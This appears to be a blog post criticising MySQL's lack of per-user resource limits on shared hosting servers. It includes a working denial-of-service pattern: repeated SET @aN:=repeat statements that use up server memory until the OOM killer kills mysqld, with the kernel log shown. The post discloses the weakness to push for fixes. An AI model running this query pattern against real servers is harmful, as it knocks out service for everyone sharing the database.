Working with number of hosting providers I always wonder how do they manage to keep things up given MySQL gives you so little ways to really restrict how much resources single user can consume. I have written over a year ago about 10+ ways to crash or overload MySQL and since that people have come to me and suggested more ways to do the same.
This is huge hole in MySQL design, thinking little about users isolations and resource quotas and interesting enough I have not seen significant changes in fresh our MySQL 5.1 GA or even something major on the roadmap for future MySQL versions. May be Drizzle will give it a thought ? This surely would help adoption by (especially low end) Hosting Providers and remember this exactly where a lot of kids start to develop their first sites and play with web technologies.
So how do the hosting providers manage to host hundreds of users on single server with single MySQL server ? Well people just seems to be nice and not looking to crash MySQL/DOS server on purpose but rather cause most of the issues unintentionally by running bad queries or installing bad software.
It is good people are nice but it may not be comforting to know you stay up just because nobody wants bring you down rather than because your systems are solid and designed to prevent such abuse.
The systems which I see people implementing are typically focused on the load eliminating – using Google UserStats patches (included in Percona releases) or Log analyzes as well as PROCESSLIST monitoring. This allows you to crack down on users which cause a lot of load which causes a lot of unintentional abusers, but to get MySQL in trouble you do not need a lot of load. You can do this by very light queries which would not show up in the PROCESSLIST or will not take too much combined time in the logs to attract your attention;
For example:
|
1 |
<br>SET @a1:=repeat("a",1000000); select sleep(1);<br>SET @a2:=repeat("a",1000000); select sleep(1);<br>SET @a3:=repeat("a",1000000); select sleep(1);<br>SET @a4:=repeat("a",1000000); select sleep(1);<br>SET @a5:=repeat("a",1000000); select sleep(1);<br>SET @a6:=repeat("a",1000000); select sleep(1);<br>SET @a7:=repeat("a",1000000); select sleep(1);<br>SET @a8:=repeat("a",1000000); select sleep(1);<br>SET @a9:=repeat("a",1000000); select sleep(1);<br>SET @a10:=repeat("a",1000000); select sleep(1);<br>SET @a11:=repeat("a",1000000); select sleep(1);<br>SET @a12:=repeat("a",1000000); select sleep(1);<br>SET @a13:=repeat("a",1000000); select sleep(1);<br>...<br> |
Causes MySQL to “leak” 1MB of memory per second with no apparent good reason – no slow queries or queries in the PROCESS LIST and you can’t really track how much memory was allocated for given session (or restrict this number)
Now remove sleep(1) and you will get mysqld quickly running out of memory and being killed by OOM killer or being unusable for any queries. In my test I got OOM though it kept the box stalled for few minutes before that:
Out of memory: Killed process 1081 (mysqld).
automount invoked oom-killer: gfp_mask=0x201d2, order=0, oomkilladj=0
Out of memory: Killed process 1081 (mysqld).
automount invoked oom-killer: gfp_mask=0x201d2, order=0, oomkilladj=0Call Trace:
[] out_of_memory+0x8e/0x2f5
[] __alloc_pages+0x245/0x2ce
[] __do_page_cache_readahead+0x95/0x1d9
[] :dm_mod:dm_any_congested+0x38/0x3f
[] filemap_nopage+0x148/0x322
[] __handle_mm_fault+0x1f8/0xe23
[] do_page_fault+0x4cb/0x830
[] error_exit+0x0/0x84
Do I need any particular privileges for this to happen ? Not really – you do not even need to be able to select from the table. Any user with permission to connect to MySQL Server can crash it.
Resources
RELATED POSTS
